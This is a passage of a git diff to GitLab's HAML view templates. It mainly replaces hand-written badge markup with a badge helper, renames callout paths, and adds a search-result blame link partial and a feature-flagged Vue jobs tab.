= link_to failures_project_pipeline_path(@project, @pipeline), data: { target: '#js-tab-failures', action: 'failures', toggle: 'tab' }, class: 'failures-tab' do
= _('Failed Jobs')
- %span.badge.badge-pill.gl-badge.badge-muted.sm.js-failures-counter= @pipeline.failed_builds.count
+ = gl_badge_tag @pipeline.failed_builds.count, { size: :sm }, { class: 'js-failures-counter' }
%li.js-tests-tab-link
= link_to test_report_project_pipeline_path(@project, @pipeline), data: { target: '#js-tab-tests', action: 'test_report', toggle: 'tab' }, class: 'test-tab' do
= s_('TestReports|Tests')
- %span.badge.badge-pill.gl-badge.badge-muted.sm.js-test-report-badge-counter= @pipeline.test_report_summary.total[:count]
+ = gl_badge_tag @pipeline.test_report_summary.total[:count], { size: :sm }, { class: 'js-test-report-badge-counter' }
= render_if_exists "projects/pipelines/tabs_holder", pipeline: @pipeline, project: @project
.tab-content
@@ -29,17 +29,20 @@
#js-tab-builds.tab-pane
- if stages.present?
- .table-holder.pipeline-holder
- %table.table.ci-table.pipeline
- %thead
- %tr
- %th= _('Status')
- %th= _('Name')
- %th= _('Job ID')
- %th
- %th= _('Coverage')
- %th
- = render partial: "projects/stage/stage", collection: stages, as: :stage
+ - if Feature.enabled?(:jobs_tab_vue, @project, default_enabled: :yaml)
+ #js-pipeline-jobs-vue{ data: { full_path: @project.full_path, pipeline_iid: @pipeline.iid } }
+ - else
+ .table-holder.pipeline-holder
+ %table.table.ci-table.pipeline
+ %thead
+ %tr
+ %th= _('Status')
+ %th= _('Name')
+ %th= _('Job ID')
+ %th
+ %th= _('Coverage')
+ %th
+ = render partial: "projects/stage/stage", collection: stages, as: :stage
- if @pipeline.failed_builds.present?
#js-tab-failures.build-failures.tab-pane.build-page
diff --git a/app/views/projects/pipelines/charts.html.haml b/app/views/projects/pipelines/charts.html.haml
index 21e871246d7..547e2c8a7f4 100644
--- a/app/views/projects/pipelines/charts.html.haml
+++ b/app/views/projects/pipelines/charts.html.haml
@@ -2,4 +2,7 @@
#js-project-pipelines-charts-app{ data: { project_path: @project.full_path,
should_render_dora_charts: should_render_dora_charts.to_s,
- should_render_quality_summary: should_render_quality_summary.to_s } }
+ should_render_quality_summary: should_render_quality_summary.to_s,
+ failed_pipelines_link: project_pipelines_path(@project, page: '1', scope: 'all', status: 'failed'),
+ coverage_chart_path: charts_project_graph_path(@project, @project.default_branch),
+ default_branch: @project.default_branch } }
diff --git a/app/views/projects/pipelines/show.html.haml b/app/views/projects/pipelines/show.html.haml
index c911fc8a203..ac5d34bfd44 100644
--- a/app/views/projects/pipelines/show.html.haml
+++ b/app/views/projects/pipelines/show.html.haml
@@ -10,8 +10,7 @@
.js-pipeline-container{ data: { controller_action: "#{controller.action_name}" } }
#js-pipeline-header-vue.pipeline-header-container{ data: { full_path: @project.full_path, pipeline_iid: @pipeline.iid, pipeline_id: @pipeline.id, pipelines_path: project_pipelines_path(@project) } }
- - if Gitlab.com? && show_cc_validation_alert?(@pipeline)
- #js-cc-validation-required-alert
+ = render_if_exists 'projects/pipelines/cc_validation_required_alert', pipeline: @pipeline
- if @pipeline.commit.present?
= render "projects/pipelines/info", commit: @pipeline.commit
diff --git a/app/views/projects/protected_branches/shared/_matching_branch.html.haml b/app/views/projects/protected_branches/shared/_matching_branch.html.haml
index 9145be5d2f2..1a2ec38fae9 100644
--- a/app/views/projects/protected_branches/shared/_matching_branch.html.haml
+++ b/app/views/projects/protected_branches/shared/_matching_branch.html.haml
@@ -3,7 +3,7 @@
= link_to matching_branch.name, project_ref_path(@project, matching_branch.name), class: 'ref-name'
- if @project.root_ref?(matching_branch.name)
- %span.badge.badge-info.gl-ml-2 default
+ = gl_badge_tag s_('ProtectedBranch|default'), { variant: :info }, { class: 'gl-ml-2' }
%td
- commit = @project.commit(matching_branch.name)
= link_to(commit.short_id, project_commit_path(@project, commit.id), class: 'commit-sha')
diff --git a/app/views/projects/protected_tags/shared/_matching_tag.html.haml b/app/views/projects/protected_tags/shared/_matching_tag.html.haml
index bf030d36cd6..3b6a6bd876f 100644
--- a/app/views/projects/protected_tags/shared/_matching_tag.html.haml
+++ b/app/views/projects/protected_tags/shared/_matching_tag.html.haml
@@ -3,7 +3,7 @@
= link_to matching_tag.name, project_ref_path(@project, matching_tag.name), class: 'ref-name'
- if @project.root_ref?(matching_tag.name)
- %span.badge.badge-info.gl-ml-2 default
+ = gl_badge_tag s_('ProtectedTag|default'), { variant: :info }, { class: 'gl-ml-2' }
%td
- commit = @project.commit(matching_tag.name)
= link_to(commit.short_id, project_commit_path(@project, commit.id), class: 'commit-sha')
diff --git a/app/views/projects/protected_tags/shared/_protected_tag.html.haml b/app/views/projects/protected_tags/shared/_protected_tag.html.haml
index 972c96dc882..70357f39e44 100644
--- a/app/views/projects/protected_tags/shared/_protected_tag.html.haml
+++ b/app/views/projects/protected_tags/shared/_protected_tag.html.haml
@@ -3,7 +3,7 @@
%span.ref-name= protected_tag.name
- if @project.root_ref?(protected_tag.name)
- %span.badge.badge-info.gl-ml-2 default
+ = gl_badge_tag s_('ProtectedTags|default'), variant: :info, class: 'gl-ml-2'
%td
- if protected_tag.wildcard?
- matching_tags = protected_tag.matching(repository.tags)
diff --git a/app/views/projects/registry/repositories/index.html.haml b/app/views/projects/registry/repositories/index.html.haml
index cfdbf3410b1..03927cd3bfa 100644
--- a/app/views/projects/registry/repositories/index.html.haml
+++ b/app/views/projects/registry/repositories/index.html.haml
@@ -22,6 +22,6 @@
"cleanup_policies_settings_path": project_settings_packages_and_registries_path(@project),
connection_error: (!!@connection_error).to_s,
invalid_path_error: (!!@invalid_path_error).to_s,
- user_callouts_path: user_callouts_path,
- user_callout_id: UserCalloutsHelper::UNFINISHED_TAG_CLEANUP_CALLOUT,
+ user_callouts_path: callouts_path,
+ user_callout_id: Users::CalloutsHelper::UNFINISHED_TAG_CLEANUP_CALLOUT,
show_unfinished_tag_cleanup_callout: show_unfinished_tag_cleanup_callout?.to_s, } }
diff --git a/app/views/projects/remove_fork.js.haml b/app/views/projects/remove_fork.js.haml
deleted file mode 100644
index 6d083c5c516..00000000000
--- a/app/views/projects/remove_fork.js.haml
+++ /dev/null
@@ -1,2 +0,0 @@
-:plain
- location.href = "#{edit_project_path(@project)}";
diff --git a/app/views/projects/runners/_group_runners.html.haml b/app/views/projects/runners/_group_runners.html.haml
index 5d737bb3901..183e747afdd 100644
--- a/app/views/projects/runners/_group_runners.html.haml
+++ b/app/views/projects/runners/_group_runners.html.haml
@@ -27,7 +27,7 @@
- elsif @group_runners.empty?
= _('This group does not have any group runners yet.')
- - if can?(current_user, :admin_pipeline, @project.group)
+ - if can?(current_user, :admin_group_runners, @project.group)
- group_link = link_to _("group's CI/CD settings."), group_settings_ci_cd_path(@project.group)
= _('Group maintainers can register group runners in the %{link}').html_safe % { link: group_link }
- else
diff --git a/app/views/projects/runners/_runner.html.haml b/app/views/projects/runners/_runner.html.haml
index bf2e746b4a4..28e5618f8b0 100644
--- a/app/views/projects/runners/_runner.html.haml
+++ b/app/views/projects/runners/_runner.html.haml
@@ -36,5 +36,4 @@
- if runner.tags.present?
.gl-my-2
- runner.tags.map(&:name).sort.each do |tag|
- %span.badge.gl-badge.sm.badge-pill.badge-primary
- = tag
+ = gl_badge_tag tag, variant: :info, size: :sm
diff --git a/app/views/projects/services/_form.html.haml b/app/views/projects/services/_form.html.haml
index 724684c9a0a..dbc204ff9bf 100644
--- a/app/views/projects/services/_form.html.haml
+++ b/app/views/projects/services/_form.html.haml
@@ -6,7 +6,7 @@
- if integration.operating?
= sprite_icon('check', css_class: 'gl-text-green-500')
-= form_for(integration, as: :service, url: scoped_integration_path(integration), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => test_project_service_path(@project, integration) } }) do |form|
+= form_for(integration, as: :service, url: scoped_integration_path(integration, project: @project, group: @group), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => test_project_service_path(@project, integration) } }) do |form|
= render 'shared/service_settings', form: form, integration: integration
%input{ id: 'services_redirect_to', type: 'hidden', name: 'redirect_to', value: request.referer }
diff --git a/app/views/projects/services/prometheus/_custom_metrics.html.haml b/app/views/projects/services/prometheus/_custom_metrics.html.haml
index 724950bcb39..4586ee844c0 100644
--- a/app/views/projects/services/prometheus/_custom_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_custom_metrics.html.haml
@@ -10,9 +10,7 @@
.card-header
%strong
= s_('PrometheusService|Custom metrics')
- -# haml-lint:disable NoPlainNodes
- %span.badge.badge-pill.js-custom-monitored-count 0
- -# haml-lint:enable NoPlainNodes
+ = gl_badge_tag 0, nil, class: 'js-custom-monitored-count'
= link_to s_('PrometheusService|New metric'), new_project_prometheus_metric_path(project), class: 'btn gl-button btn-confirm gl-ml-auto js-new-metric-button hidden', data: { qa_selector: 'new_metric_button' }
.card-body
.flash-container.hidden
diff --git a/app/views/projects/services/prometheus/_metrics.html.haml b/app/views/projects/services/prometheus/_metrics.html.haml
index 09fe77b8a9c..0d41584652f 100644
--- a/app/views/projects/services/prometheus/_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_metrics.html.haml
@@ -12,7 +12,7 @@
.card-header
%strong
= s_('PrometheusService|Common metrics')
- %span.badge.badge-pill.js-monitored-count 0
+ = gl_badge_tag 0, nil, class: 'js-monitored-count'
.card-body
.loading-metrics.js-loading-metrics
%p.m-3
@@ -28,7 +28,7 @@
= sprite_icon('chevron-lg-right', css_class: 'panel-toggle js-panel-toggle-right' )
= sprite_icon('chevron-lg-down', css_class: 'panel-toggle js-panel-toggle-down hidden' )
= s_('PrometheusService|Missing environment variable')
- %span.badge.badge-pill.js-env-var-count 0
+ = gl_badge_tag 0, nil, class: 'js-env-var-count'
.card-body.hidden
.flash-container
.flash-notice
diff --git a/app/views/projects/settings/access_tokens/index.html.haml b/app/views/projects/settings/access_tokens/index.html.haml
index 52ef2e7d1ee..4e946050881 100644
--- a/app/views/projects/settings/access_tokens/index.html.haml
+++ b/app/views/projects/settings/access_tokens/index.html.haml
@@ -39,7 +39,7 @@
access_levels: ProjectMember.access_level_roles,
default_access_level: Gitlab::Access::MAINTAINER,
prefix: :project_access_token,
- help_path: help_page_path('user/project/settings/project_access_tokens', anchor: 'limiting-scopes-of-a-project-access-token')
+ help_path: help_page_path('user/project/settings/project_access_tokens', anchor: 'scopes-for-a-project-access-token')
= render 'shared/access_tokens/table',
active_tokens: @active_project_access_tokens,
diff --git a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
index 8563f28eb33..e200635ba82 100644
--- a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
@@ -23,7 +23,7 @@
= form.label :enabled, class: 'form-check-label' do
%strong= s_('CICD|Default to Auto DevOps pipeline')
- if auto_devops_enabled
- %span.badge.badge-info.js-instance-default-badge= badge_for_auto_devops_scope(@project)
+ = gl_badge_tag badge_for_auto_devops_scope(@project), { variant: :info }, { class: 'js-instance-default-badge'}
.form-text.text-muted
= s_('CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found.')
= link_to _('Learn more.'), help_page_path('topics/autodevops/index.md'), target: '_blank'
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index 75bd985560b..f342728feee 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -96,15 +96,14 @@
.settings-content
= render 'ci/deploy_freeze/index'
-- if Feature.enabled?(:ci_scoped_job_token, @project, default_enabled: :yaml)
- %section.settings.no-animate#js-token-access{ class: ('expanded' if expanded) }
- .settings-header
- %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- = _("Token Access")
- %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
- = expanded ? _('Collapse') : _('Expand')
- %p
- = _("Control which projects can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable. It is a security risk to disable this feature, because unauthorized projects might attempt to retrieve an active token and access the API.")
- = link_to _('Learn more'), help_page_path('ci/jobs/ci_job_token'), target: '_blank', rel: 'noopener noreferrer'
- .settings-content
- = render 'ci/token_access/index'
+%section.settings.no-animate#js-token-access{ class: ('expanded' if expanded) }
+ .settings-header
+ %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
+ = _("Token Access")
+ %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded ? _('Collapse') : _('Expand')
+ %p
+ = _("Control which projects can be accessed by API requests authenticated with this project's CI_JOB_TOKEN CI/CD variable. It is a security risk to disable this feature, because unauthorized projects might attempt to retrieve an active token and access the API.")
+ = link_to _('Learn more'), help_page_path('ci/jobs/ci_job_token'), target: '_blank', rel: 'noopener noreferrer'
+ .settings-content
+ = render 'ci/token_access/index'
diff --git a/app/views/projects/show.html.haml b/app/views/projects/show.html.haml
index 1cbb061784e..d840ea01b89 100644
--- a/app/views/projects/show.html.haml
+++ b/app/views/projects/show.html.haml
@@ -19,7 +19,6 @@
= render "archived_notice", project: @project
= render_if_exists "projects/marked_for_deletion_notice", project: @project
= render_if_exists "projects/ancestor_group_marked_for_deletion_notice", project: @project
-= render_if_exists 'projects/sast_entry_points', project: @project
- view_path = @project.default_view
diff --git a/app/views/projects/starrers/_starrer.html.haml b/app/views/projects/starrers/_starrer.html.haml
index 28ec1ed206a..e24276fcaea 100644
--- a/app/views/projects/starrers/_starrer.html.haml
+++ b/app/views/projects/starrers/_starrer.html.haml
@@ -13,7 +13,7 @@
%span.cgray= starrer.user.to_reference
- if starrer.user == current_user
- %span.badge-pill.badge-success.gl-badge.gl-ml-2.sm= _("It's you")
+ = gl_badge_tag _("It's you"), variant: :success, size: :sm, class: 'gl-ml-2'
.block-truncated
= time_ago_with_tooltip(starrer.starred_since)
diff --git a/app/views/projects/tags/_tag.html.haml b/app/views/projects/tags/_tag.html.haml
index 83a3cac487f..0ee3b89b629 100644
--- a/app/views/projects/tags/_tag.html.haml
+++ b/app/views/projects/tags/_tag.html.haml
@@ -2,18 +2,13 @@
- release = @releases.find { |release| release.tag == tag.name }
- commit_status = @tag_pipeline_statuses[tag.name] unless @tag_pipeline_statuses.nil?
-%li.flex-row.js-tag-list{ class: "gl-white-space-normal!" }
+%li.flex-row.js-tag-list{ class: "gl-white-space-normal! gl-align-items-flex-start!" }
.row-main-content
= sprite_icon('tag')
= link_to tag.name, project_tag_path(@project, tag.name), class: 'item-title ref-name'
- if protected_tag?(@project, tag)
- %span.badge.badge-success.gl-ml-2.gl-badge.sm.badge-pill
- = s_('TagsPage|protected')
-
- - if tag.message.present?
- &nbsp;
- = strip_signature(tag.message)
+ = gl_badge_tag s_('TagsPage|protected'), variant: :success, size: :sm, class: 'gl-ml-2'
- if commit
.block-truncated
@@ -28,6 +23,10 @@
= _("Release")
= link_to release.name, project_releases_path(@project, anchor: release.tag), class: 'gl-text-blue-600!'
+ - if tag.message.present?
+ %pre.wrap
+ = strip_signature(tag.message)
+
.row-fixed-content.controls.flex-row
- if tag.has_signature?
= render partial: 'projects/commit/signature', object: tag.signature
diff --git a/app/views/projects/tags/show.html.haml b/app/views/projects/tags/show.html.haml
index b3a75494ccc..c1b78d3258d 100644
--- a/app/views/projects/tags/show.html.haml
+++ b/app/views/projects/tags/show.html.haml
@@ -13,8 +13,7 @@
= sprite_icon('tag')
= @tag.name
- if protected_tag?(@project, @tag)
- %span.badge.badge-success
- = s_('TagsPage|protected')
+ = gl_badge_tag s_('TagsPage|protected'), variant: :success
- if user
= link_to user_path(user) do
diff --git a/app/views/projects/tracings/show.html.haml b/app/views/projects/tracings/show.html.haml
index 21c1d02d92e..813908e5a57 100644
--- a/app/views/projects/tracings/show.html.haml
+++ b/app/views/projects/tracings/show.html.haml
@@ -3,10 +3,12 @@
- if @project.tracing_external_url.present?
%h3.page-title= _('Tracing')
- .gl-alert.gl-alert-info.alert.flex-alert
- = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .alert-message
- = _("Your password isn't required to view this page. If a password or any other personal details are requested, please contact your administrator to report abuse.")
+ .gl-alert.gl-alert-info.gl-mb-5
+ .gl-alert-container
+ = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ .gl-alert-content
+ .gl-alert-body
+ = _("Your password isn't required to view this page. If a password or any other personal details are requested, please contact your administrator to report abuse.")
- jaeger_link = link_to('Jaeger tracing', 'https://www.jaegertracing.io/', target: "_blank", rel: "noreferrer")
%p.light= _("GitLab uses %{jaeger_link} to monitor distributed systems.").html_safe % { jaeger_link: jaeger_link }
diff --git a/app/views/projects/transfer.js.haml b/app/views/projects/transfer.js.haml
deleted file mode 100644
index 6d083c5c516..00000000000
--- a/app/views/projects/transfer.js.haml
+++ /dev/null
@@ -1,2 +0,0 @@
-:plain
- location.href = "#{edit_project_path(@project)}";
diff --git a/app/views/projects/usage_quotas/index.html.haml b/app/views/projects/usage_quotas/index.html.haml
index 6c7cccfb9b1..de1135cf928 100644
--- a/app/views/projects/usage_quotas/index.html.haml
+++ b/app/views/projects/usage_quotas/index.html.haml
@@ -16,4 +16,4 @@
= s_('UsageQuota|Storage')
.tab-content
.tab-pane#storage-quota-tab
- #js-project-storage-count-app{ data: @storage_app_data }
+ #js-project-storage-count-app{ data: { project_path: @project.full_path } }
diff --git a/app/views/root/index.html.haml b/app/views/root/index.html.haml
deleted file mode 100644
index 97dd8e133f5..00000000000
--- a/app/views/root/index.html.haml
+++ /dev/null
@@ -1,10 +0,0 @@
-- if show_customize_homepage_banner?
- = content_for :customize_homepage_banner do
- .gl-display-none.gl-md-display-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
- .js-customize-homepage-banner{ data: { svg_path: image_path('illustrations/monitoring/getting_started.svg'),
- preferences_behavior_path: profile_preferences_path(anchor: 'behavior'),
- callouts_path: user_callouts_path,
- callouts_feature_id: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE,
- track_label: 'home_page' } }
-
-= render template: 'dashboard/projects/index'
diff --git a/app/views/search/results/_blob.html.haml b/app/views/search/results/_blob.html.haml
index aeb37022f99..3681f823ef5 100644
--- a/app/views/search/results/_blob.html.haml
+++ b/app/views/search/results/_blob.html.haml
@@ -1,5 +1,6 @@
- project = blob.project
- return unless project
- blob_link = project_blob_path(project, tree_join(repository_ref(project), blob.path))
+- blame_link = project_blame_path(project, tree_join(repository_ref(project), blob.path))
-= render partial: 'search/results/blob_data', locals: { blob: blob, project: project, path: blob.path, blob_link: blob_link }
+= render partial: 'search/results/blob_data', locals: { blob: blob, project: project, path: blob.path, blob_link: blob_link, blame_link: blame_link }
diff --git a/app/views/search/results/_blob_data.html.haml b/app/views/search/results/_blob_data.html.haml
index 88a2ab4bb42..c42367f45c5 100644
--- a/app/views/search/results/_blob_data.html.haml
+++ b/app/views/search/results/_blob_data.html.haml
@@ -9,7 +9,7 @@
- if blob.data
- if blob.data.size > 0
.file-content.code.term{ data: { qa_selector: 'file_text_content' } }
- = render 'shared/file_highlight', blob: blob, first_line_number: blob.startline, blob_link: blob_link, highlight_line: blob.highlight_line
+ = render 'search/results/blob_highlight', blob: blob, first_line_number: blob.startline, blob_link: blob_link, blame_link: blame_link, highlight_line: blob.highlight_line
- else
.file-content.code
.nothing-here-block
diff --git a/app/views/search/results/_blob_highlight.html.haml b/app/views/search/results/_blob_highlight.html.haml
new file mode 100644
index 00000000000..de1fa9a7fd5
--- /dev/null
+++ b/app/views/search/results/_blob_highlight.html.haml
@@ -0,0 +1,22 @@
+- offset = defined?(first_line_number) ? first_line_number : 1
+- highlight = defined?(highlight_line) && highlight_line ? highlight_line - offset : nil
+
+#search-blob-content.file-content.code.js-syntax-highlight{ class: 'gl-py-3!' }
+ - if blob.present?
+ .blob-content{ data: { blob_id: blob.id, path: blob.path, highlight_line: highlight, qa_selector: 'file_content' } }
+ - blob.present.highlight.lines.each_with_index do |line, index|
+ - i = index + offset
+ .line_holder.code-search-line
+ .line-numbers
+ .gl-display-flex
+ %span.diff-line-num.gl-pl-3
+ %a.has-tooltip{ href: "#{blame_link}#L#{i}", id: "blame-L#{i}", 'data-line-number' => i, title: _('View blame') }
+ = sprite_icon('git')
+ %span.diff-line-num.flex-grow-1.gl-pr-3
+ %a{ href: "#{blob_link}#L#{i}", id: "blob-L#{i}", 'data-line-number' => i, class: 'gl-display-flex! gl-align-items-center gl-justify-content-end' }
+ = sprite_icon('link', css_class: 'gl-ml-3! gl-mr-1!')
+ = i
+ %pre.code.highlight
+ %code
+ = line.html_safe
+
diff --git a/app/views/search/results/_issuable.html.haml b/app/views/search/results/_issuable.html.haml
index 41058034d6f..36458a909fc 100644
--- a/app/views/search/results/_issuable.html.haml
+++ b/app/views/search/results/_issuable.html.haml
@@ -1,7 +1,7 @@
%div{ class: 'search-result-row gl-display-flex gl-sm-flex-direction-row gl-flex-direction-column gl-align-items-center gl-pb-3! gl-mt-5 gl-mb-0!' }
.col-sm-9
%span.gl-display-flex.gl-align-items-center
- %span.badge.badge-pill.gl-badge.sm{ class: "badge-#{issuable_state_to_badge_class(issuable)}" }= issuable_state_text(issuable)
+ = gl_badge_tag issuable_state_text(issuable), variant: issuable_state_to_badge_class(issuable), size: :sm
= sprite_icon('eye-slash', css_class: 'gl-text-gray-500 gl-ml-2') if issuable.respond_to?(:confidential?) && issuable.confidential?
= link_to issuable_path(issuable), data: { track_action: 'click_text', track_label: "#{issuable.class.name.downcase}_title", track_property: 'search_result' }, class: 'gl-w-full' do
%span.term.str-truncated.gl-font-weight-bold.gl-ml-2= issuable.title
diff --git a/app/views/shared/_email_with_badge.html.haml b/app/views/shared/_email_with_badge.html.haml
index 8b9ca966ed6..5d837657943 100644
--- a/app/views/shared/_email_with_badge.html.haml
+++ b/app/views/shared/_email_with_badge.html.haml
@@ -1,8 +1,5 @@
-- css_classes = %w(badge gl-badge)
-- css_classes << (verified ? 'badge-success': 'badge-danger')
+- variant = verified ? :success : :danger
- text = verified ? _('Verified') : _('Unverified')
-.email-badge
- .email-badge-email= email
- %div{ class: css_classes }
- = text
+= email
+= gl_badge_tag text, { variant: variant }, { class: 'gl-ml-3' }
diff --git a/app/views/shared/_flash_user_callout.html.haml b/app/views/shared/_flash_user_callout.html.haml
index d8032ac521d..7b2d59407b4 100644
--- a/app/views/shared/_flash_user_callout.html.haml
+++ b/app/views/shared/_flash_user_callout.html.haml
@@ -1,4 +1,4 @@
-- callout_data = { uid: "callout_feature_#{feature_name}_dismissed", feature_id: feature_name, dismiss_endpoint: user_callouts_path }
+- callout_data = { uid: "callout_feature_#{feature_name}_dismissed", feature_id: feature_name, dismiss_endpoint: callouts_path }
- extra_flash_class = local_assigns.fetch(:extra_flash_class, nil)
.flash-container.flash-container-page.user-callout{ data: callout_data }
diff --git a/app/views/shared/_milestone_expired.html.haml b/app/views/shared/_milestone_expired.html.haml
index 925344ab2f7..8c84f96932c 100644
--- a/app/views/shared/_milestone_expired.html.haml
+++ b/app/views/shared/_milestone_expired.html.haml
@@ -1,6 +1,6 @@
- if milestone.expired? && !milestone.closed?
- .gl-badge.badge-warning.badge-pill.gl-mb-2= _('Expired')
+ = gl_badge_tag _('Expired'), { variant: :warning }, { class: "gl-mb-2" }
- if milestone.upcoming?
- .gl-badge.badge-primary.badge-pill.gl-mb-2= _('Upcoming')
+ = gl_badge_tag _('Upcoming'), { variant: :info }, { class: "gl-mb-2" }
- if milestone.closed?
- .gl-badge.badge-danger.badge-pill.gl-mb-2= _('Closed')
+ = gl_badge_tag _('Closed'), { variant: :danger }, { class: "gl-mb-2" }
diff --git a/app/views/shared/_milestones_filter.html.haml b/app/views/shared/_milestones_filter.html.haml
index 117ed212fd9..ef41dc9bb79 100644
--- a/app/views/shared/_milestones_filter.html.haml
+++ b/app/views/shared/_milestones_filter.html.haml
@@ -1,15 +1,12 @@
-- count_badge_classes = 'badge badge-muted badge-pill gl-badge gl-tab-counter-badge sm gl-display-none gl-sm-display-inline-flex'
+- count_badge_classes = 'gl-display-none gl-sm-display-inline-flex'
= gl_tabs_nav( {class: 'gl-border-b-0 gl-flex-grow-1', data: { testid: 'milestones-filter' } } ) do
= gl_tab_link_to milestones_filter_path(state: 'opened'), { item_active: params[:state].blank? || params[:state] == 'opened' } do
= _('Open')
- %span{ class: count_badge_classes }
- = counts[:opened]
+ = gl_tab_counter_badge counts[:opened], { class: count_badge_classes }
= gl_tab_link_to milestones_filter_path(state: 'closed', sort: 'due_date_desc'), { item_active: params[:state] == 'closed' } do
= _('Closed')
- %span{ class: count_badge_classes }
- = counts[:closed]
+ = gl_tab_counter_badge counts[:closed], { class: count_badge_classes }
= gl_tab_link_to milestones_filter_path(state: 'all', sort: 'due_date_desc'), { item_active: params[:state] == 'all' } do
= _('All')
- %span{ class: count_badge_classes }
- = counts[:all]
+ = gl_tab_counter_badge counts[:all], { class: count_badge_classes }
diff --git a/app/views/shared/_registration_features_discovery_message.html.haml b/app/views/shared/_registration_features_discovery_message.html.haml
new file mode 100644
index 00000000000..8bcd826d8c0
--- /dev/null
+++ b/app/views/shared/_registration_features_discovery_message.html.haml
@@ -0,0 +1,9 @@
+- license = local_assigns.fetch(:license)
+- registration_features_docs_path = help_page_path('development/service_ping/index.md', anchor: 'registration-features-program')
+- service_ping_settings_path = metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings')
+
+%div
+ %span= s_('RegistrationFeatures|Want to use this feature for free?')
+ - if license.present?
+ = link_to s_('RegistrationFeatures|Enable Service Ping and register for this feature.'), service_ping_settings_path
+ = sprintf(s_('RegistrationFeatures|Read more about the %{linkStart}Registration Features Program%{linkEnd}.') , { linkStart: "<a href=\"#{registration_features_docs_path}\" target=\"_blank\">", linkEnd: "</a>", }).html_safe
diff --git a/app/views/shared/_service_settings.html.haml b/app/views/shared/_service_settings.html.haml
index c70fce7a38f..adacaeadfab 100644
--- a/app/views/shared/_service_settings.html.haml
+++ b/app/views/shared/_service_settings.html.haml
@@ -2,8 +2,8 @@
.service-settings
- if @default_integration
- .js-vue-default-integration-settings{ data: integration_form_data(@default_integration, group: @group) }
- .js-vue-integration-settings{ data: integration_form_data(integration, group: @group) }
+ .js-vue-default-integration-settings{ data: integration_form_data(@default_integration, group: @group, project: @project) }
+ .js-vue-integration-settings{ data: integration_form_data(integration, group: @group, project: @project) }
.js-integration-help-html.gl-display-none
-# All content below will be repositioned in Vue
- if lookup_context.template_exists?('help', "projects/services/#{integration.to_param}", true)
diff --git a/app/views/shared/_two_factor_auth_recovery_settings_check.html.haml b/app/views/shared/_two_factor_auth_recovery_settings_check.html.haml
index d4764d1a5d9..e7239661313 100644
--- a/app/views/shared/_two_factor_auth_recovery_settings_check.html.haml
+++ b/app/views/shared/_two_factor_auth_recovery_settings_check.html.haml
@@ -1,7 +1,7 @@
= render 'shared/global_alert',
variant: :warning,
alert_class: 'js-recovery-settings-callout',
- alert_data: { feature_id: UserCalloutsHelper::TWO_FACTOR_AUTH_RECOVERY_SETTINGS_CHECK, dismiss_endpoint: user_callouts_path, defer_links: 'true' },
+ alert_data: { feature_id: Users::CalloutsHelper::TWO_FACTOR_AUTH_RECOVERY_SETTINGS_CHECK, dismiss_endpoint: callouts_path, defer_links: 'true' },
close_button_data: { testid: 'close-account-recovery-regular-check-callout' } do
.gl-alert-body
= s_('Profiles|Ensure you have two-factor authentication recovery codes stored in a safe place.')
diff --git a/app/views/shared/builds/_tabs.html.haml b/app/views/shared/builds/_tabs.html.haml
index 498e9cc33ce..3bbd7a32bda 100644
--- a/app/views/shared/builds/_tabs.html.haml
+++ b/app/views/shared/builds/_tabs.html.haml
@@ -1,19 +1,15 @@
-- count_badge_classes = 'badge badge-muted badge-pill gl-badge gl-tab-counter-badge sm gl-display-none gl-sm-display-inline-flex'
+- count_badge_classes = 'gl-display-none gl-sm-display-inline-flex'
= gl_tabs_nav( {class: 'gl-border-b-0 gl-flex-grow-1', data: { testid: 'jobs-tabs' } } ) do
= gl_tab_link_to build_path_proc.call(nil), { item_active: scope.nil? } do
= _('All')
- %span{ class: count_badge_classes }
- = limited_counter_with_delimiter(all_builds)
+ = gl_tab_counter_badge(limited_counter_with_delimiter(all_builds), { class: count_badge_classes })
= gl_tab_link_to build_path_proc.call('pending'), { item_active: scope == 'pending' } do
= _('Pending')
- %span{ class: count_badge_classes }
- = limited_counter_with_delimiter(all_builds.pending)
+ = gl_tab_counter_badge(limited_counter_with_delimiter(all_builds.pending), { class: count_badge_classes })
= gl_tab_link_to build_path_proc.call('running'), { item_active: scope == 'running' } do
= _('Running')
- %span{ class: count_badge_classes }
- = limited_counter_with_delimiter(all_builds.running)
+ = gl_tab_counter_badge(limited_counter_with_delimiter(all_builds.running), { class: count_badge_classes })
= gl_tab_link_to build_path_proc.call('finished'), { item_active: scope == 'finished' } do
= _('Finished')
- %span{ class: count_badge_classes }
- = limited_counter_with_delimiter(all_builds.finished)
+ = gl_tab_counter_badge(limited_counter_with_delimiter(all_builds.finished), { class: count_badge_classes })
diff --git a/app/views/shared/doorkeeper/applications/_form.html.haml b/app/views/shared/doorkeeper/applications/_form.html.haml
index 180c658dbdc..adfd7ea98b7 100644
--- a/app/views/shared/doorkeeper/applications/_form.html.haml
+++ b/app/views/shared/doorkeeper/applications/_form.html.haml
@@ -16,13 +16,14 @@
= f.check_box :confidential, class: 'form-check-input'
= f.label :confidential, class: 'label-bold form-check-label'
%span.form-text.text-muted
- = _('The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential.')
